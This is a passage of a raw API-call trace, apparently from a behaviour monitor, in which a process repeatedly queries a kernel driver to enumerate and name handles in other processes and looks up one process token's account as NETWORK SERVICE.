dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0068.684] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.684] PsAcquireProcessExitSynchronization () returned 0x0 [0068.684] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.684] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0068.684] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.684] PsReleaseProcessExitSynchronization () returned 0x2 [0068.684] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.684] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.684] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0068.684] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.684] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.684] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.684] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.684] PsAcquireProcessExitSynchronization () returned 0x0 [0068.684] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.684] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0068.684] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.684] PsReleaseProcessExitSynchronization () returned 0x2 [0068.684] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.684] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.684] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0068.684] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.684] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.684] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.685] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.685] PsAcquireProcessExitSynchronization () returned 0x0 [0068.685] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.685] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.685] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.685] PsReleaseProcessExitSynchronization () returned 0x2 [0068.685] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.685] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.685] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.685] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.685] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.685] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0068.685] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.685] PsAcquireProcessExitSynchronization () returned 0x0 [0068.685] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.685] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0068.685] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.685] PsReleaseProcessExitSynchronization () returned 0x2 [0068.685] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.685] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.685] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0068.685] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.685] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.685] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0068.685] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.685] PsAcquireProcessExitSynchronization () returned 0x0 [0068.685] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.685] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0068.685] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.685] PsReleaseProcessExitSynchronization () returned 0x2 [0068.685] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.686] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa8003988044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.686] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0068.686] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.686] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.686] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0068.686] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.686] PsAcquireProcessExitSynchronization () returned 0x0 [0068.686] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.686] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0068.686] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.686] PsReleaseProcessExitSynchronization () returned 0x2 [0068.686] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.686] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.686] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0068.686] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.686] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.686] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.686] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.686] PsAcquireProcessExitSynchronization () returned 0x0 [0068.686] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.686] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.686] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.686] PsReleaseProcessExitSynchronization () returned 0x2 [0068.686] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.686] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800398d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.686] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.686] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.686] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.686] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.686] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.686] PsAcquireProcessExitSynchronization () returned 0x0 [0068.686] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.687] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.687] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.687] PsReleaseProcessExitSynchronization () returned 0x2 [0068.687] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.687] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800398e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.687] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.687] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.687] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.687] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0068.687] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.687] PsAcquireProcessExitSynchronization () returned 0x0 [0068.687] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.687] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0068.687] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.687] PsReleaseProcessExitSynchronization () returned 0x2 [0068.687] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.687] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800398f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.687] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0068.687] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.687] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.687] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0068.687] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.687] PsAcquireProcessExitSynchronization () returned 0x0 [0068.687] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.687] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0068.687] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.687] PsReleaseProcessExitSynchronization () returned 0x2 [0068.687] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.687] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8003990044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003990044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.688] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0068.688] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.688] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.688] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.688] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.688] PsAcquireProcessExitSynchronization () returned 0x0 [0068.688] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054f85d0) [0068.688] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0068.688] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.688] PsReleaseProcessExitSynchronization () returned 0x2 [0068.688] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0068.688] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003991044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003991044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.688] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0068.688] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.688] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.688] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0068.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.688] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0068.688] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000062c) returned 0x0 [0068.688] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb6 [0068.688] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000062c, DesiredAccess=0x8, TokenHandle=0xfffffa800344e240 | out: TokenHandle=0xfffffa800344e240*=0xc8) returned 0x0 [0068.688] ZwClose (Handle=0xffffffff8000062c) returned 0x0 [0068.688] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.688] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.688] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.690] CloseHandle (hObject=0xc8) returned 1 [0068.690] CloseHandle (hObject=0xc0) returned 1 [0068.690] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.690] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.690] PsAcquireProcessExitSynchronization () returned 0x0 [0068.690] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.690] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0068.690] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.690] PsReleaseProcessExitSynchronization () returned 0x2 [0068.690] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.690] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003993044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003993044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.690] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0068.690] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.690] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.690] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.690] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.690] PsAcquireProcessExitSynchronization () returned 0x0 [0068.690] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.690] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0068.690] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.690] PsReleaseProcessExitSynchronization () returned 0x2 [0068.691] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.691] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.691] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0068.691] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.691] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.691] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.691] PsAcquireProcessExitSynchronization () returned 0x0 [0068.691] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054f85d0) [0068.691] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0068.691] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.691] PsReleaseProcessExitSynchronization () returned 0x2 [0068.691] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb4 [0068.691] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.691] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0068.691] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.691] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.691] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.691] 